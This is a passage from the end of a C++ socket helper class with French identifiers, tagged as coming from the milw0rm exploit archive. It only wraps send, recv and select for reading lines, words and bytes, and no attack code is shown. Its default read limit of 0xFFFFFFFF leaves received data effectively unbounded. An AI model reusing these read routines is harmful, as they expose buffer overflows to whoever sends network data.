if(!connected)
return 0;
veri = strlen(envoi);
taiverif = send(sock,envoi,veri,0);
if(veri != taiverif)
{
connected = 0;
return 0;
};
return 1;
}
bool serveur::getline(char buf[],unsigned int maxcara)
{
unsigned int testing;
unsigned int curseur;
char recoi;
if(!connected)
return 0;
curseur = 0;
do{
testing = recv(sock,&recoi,sizeof(char),0);
if(testing != sizeof(char))
{
buf[curseur] = '\0' ;
connected = 0;
return 0;
};
if( curseur == maxcara)
{
buf[curseur] = '\0';
};
if ((curseur < maxcara)&&(recoi != '\r')&&(recoi != '\n'))
{
buf[curseur] = recoi ;
curseur++ ;
};
}while(recoi != '\n' );
buf[curseur] = '\0' ;
return 1;
}
bool serveur::getline(char buf2[])
{
return getline(buf2,maxread);
}
bool serveur::getword(char in[],unsigned int max)
{
int testing;
unsigned int curseur;
char recoi;
if(!connected)
return 0;
curseur = 0;
do{
testing = recv(sock,&recoi,sizeof(char),0);
if(testing != sizeof(char))
{
in[curseur] = '\0' ;
connected = 0;
return 0;
};
if( curseur == max)
{
in[curseur] = '\0';
};
if ((curseur < max)&&(recoi != '\r')&&(recoi != '\n')&&(recoi != ' '))
{
in[curseur] = recoi ;
curseur++ ;
};
}while((recoi != '\n') && (recoi != ' '));
in[curseur] = '\0' ;
return 1;
}
bool serveur::getword(char in2[])
{
return getword(in2,maxread);
}
bool serveur::ifgetchar(char *caraif)
{
fd_set fdens;
struct timeval tv;
tv.tv_sec = seconde ;
tv.tv_usec = microseconde ;
FD_ZERO(&fdens);
FD_SET(sock,&fdens);
select(sock+1, &fdens, NULL, NULL, &tv);
if(FD_ISSET(sock,&fdens))
{
if(!getnb(caraif,sizeof(char)))
closesock();
return 1;
}
else
{
return 0;
};
}
bool serveur::ifchargetnb(char ligne[],unsigned int aumax)
{
bool retour;
retour = ifgetchar(ligne) ;
if(retour)
{
connected = getnb(ligne,aumax) ;
};
return retour;
}
bool serveur::ifchargetline(char ligne[],unsigned int lemax)
{
bool retour;
retour = ifgetchar(ligne) ;
if(retour)
{
if(*ligne == '\n')
{
*ligne = '\0';
return 1;
};
if(*ligne != '\r')
ligne++;
connected = getline(ligne,lemax) ;
};
return retour;
}
bool serveur::ifchargetline(char ligne[])
{
return ifchargetline(ligne,maxread);
}
bool serveur::getnb(char *vect,unsigned int nb)
{
unsigned int testing;
unsigned int curseur;
char recoi;
if(!connected)
return 0;
curseur = 0;
do{
testing = recv(sock,&recoi,sizeof(char),0);
if(testing != sizeof(char))
{
vect[curseur] = '\0' ;
connected = 0;
return 0;
};
if( curseur == nb)
{
vect[curseur] = '\0';
};
if (curseur < nb)
{
vect[curseur] = recoi ;
curseur++ ;
};
}while(curseur < nb);
return 1;
}
bool serveur::sendnb(char *vec,unsigned int longueur)
{
int taiverif;
if(!connected)
return 0;
taiverif = send(sock,vec,longueur,0);
if((int)longueur != taiverif)
{
connected = 0;
return 0;
};
return 1;
}
int serveur::getnumsock()
{
return sock;
}
bool serveur::createbytheclass(int thesock,struct sockaddr_in thestruct)
{
if(create)
return 0;
sock = thesock ;
memcpy(&mysock,&thestruct,sizeof(thestruct));
create = 1;
connected = 1;
return 1;
}
void serveur::closesock()
{
if(create)
{
closesocket(sock);
create = 0;
connected = 0;
};
}
bool serveur::isconnect()
{
return connected;
}
void serveur::operator << (char *chaine)
{
socketsend(chaine);
}
void serveur::operator >> (char *read)
{
getword(read);
}
serveur::serveur()
{
connected = 0;
create = 0 ;
maxread = 0xFFFFFFFF ;
seconde = 0;
microseconde = 0;
createsocket();
}
serveur::~serveur()
{
if(connected)
closesock();
}
*/
// milw0rm.com [2004-12-17]